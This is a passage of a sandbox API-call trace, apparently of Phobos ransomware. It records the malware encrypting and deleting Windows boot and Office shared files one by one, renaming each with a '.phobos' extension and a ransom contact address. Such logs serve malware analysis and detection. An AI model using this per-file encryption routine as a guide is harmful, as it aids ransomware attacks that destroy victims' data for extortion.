lpNumberOfBytesRead=0x2e5fb84*=0x75a8, lpOverlapped=0x0) returned 1 [0048.769] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x75b0, dwBufLen=0x75b0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x75b0) returned 1 [0048.769] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x75b0, lpOverlapped=0x0) returned 1 [0048.771] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cfb0) returned 1 [0048.771] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.771] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0048.771] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0048.771] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0048.771] CryptDestroyKey (hKey=0x10cf70) returned 1 [0048.771] CloseHandle (hObject=0x318) returned 1 [0048.771] CloseHandle (hObject=0x31c) returned 1 [0048.772] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1 [0048.773] SetEvent (hEvent=0x2e8) returned 1 [0048.774] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0048.774] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.809] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=4662) returned 1 [0048.809] CloseHandle (hObject=0x31c) returned 1 [0048.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0048.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.810] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.810] SetEvent (hEvent=0x2e8) returned 1 [0048.810] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0048.810] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.810] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=8192) returned 1 [0048.810] CloseHandle (hObject=0x31c) returned 1 [0048.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0048.810] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0048.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\bootsect.bak.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.811] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.811] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.811] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.811] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\bootsect.bak.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0048.814] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf70) returned 1 [0048.814] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.814] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x2000, lpOverlapped=0x0) returned 1 [0048.848] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2010, dwBufLen=0x2010 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2010) returned 1 [0048.848] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x2010, lpOverlapped=0x0) returned 1 [0048.849] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cdf0) returned 1 [0048.849] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.849] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0048.849] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0048.849] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0048.849] CryptDestroyKey (hKey=0x10cf70) returned 1 [0048.849] CloseHandle (hObject=0x31c) returned 1 [0048.849] CloseHandle (hObject=0x2e4) returned 1 [0048.850] DeleteFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0048.851] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[B4197730-0001].[phobosrecovery@cock.li].phobos", dwFileAttributes=0x27) returned 1 [0048.851] SetEvent (hEvent=0x2e8) returned 1 [0048.851] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0048.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0048.852] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=4782) returned 1 [0048.852] CloseHandle (hObject=0x2e4) returned 1 [0048.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20 [0048.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0048.852] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.852] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0048.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.852] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cc70) returned 1 [0048.852] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0048.852] ReadFile (in: hFile=0x2e4, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x12ae, lpOverlapped=0x0) returned 1 [0049.057] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x12b0, dwBufLen=0x12b0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x12b0) returned 1 [0049.057] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x12b0, lpOverlapped=0x0) returned 1 [0049.058] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ce30) returned 1 [0049.058] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0049.058] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x60, dwBufLen=0x60 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x60) returned 1 [0049.058] CryptDestroyKey (hKey=0x10ce30) returned 1 [0049.058] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x112, lpOverlapped=0x0) returned 1 [0049.059] CryptDestroyKey (hKey=0x10cc70) returned 1 [0049.059] CloseHandle (hObject=0x2e4) returned 1 [0049.059] CloseHandle (hObject=0x31c) returned 1 [0049.059] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1 [0049.060] SetEvent (hEvent=0x2e8) returned 1 [0049.060] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.080] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=791421) returned 1 [0049.080] CloseHandle (hObject=0x308) returned 1 [0049.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0049.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.082] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.130] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=48936) returned 1 [0049.130] CloseHandle (hObject=0x308) returned 1 [0049.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0049.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.132] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.157] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=84190) returned 1 [0049.157] CloseHandle (hObject=0x308) returned 1 [0049.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0049.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.157] SetEvent (hEvent=0x2e8) returned 1 [0049.157] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.157] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=180172) returned 1 [0049.157] CloseHandle (hObject=0x308) returned 1 [0049.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0049.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.160] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.239] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=181964) returned 1 [0049.239] CloseHandle (hObject=0x318) returned 1 [0049.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0049.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.240] SetEvent (hEvent=0x2e8) returned 1 [0049.240] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.256] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1434) returned 1 [0049.256] CloseHandle (hObject=0x318) returned 1 [0049.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0049.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.257] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.262] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=215) returned 1 [0049.262] CloseHandle (hObject=0x318) returned 1 [0049.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0049.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.262] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.263] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=903) returned 1 [0049.263] CloseHandle (hObject=0x318) returned 1 [0049.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0049.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.265] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0049.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0049.265] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=693) returned 1 [0049.265] CloseHandle (hObject=0x318) returned 1 [0049.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0049.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: 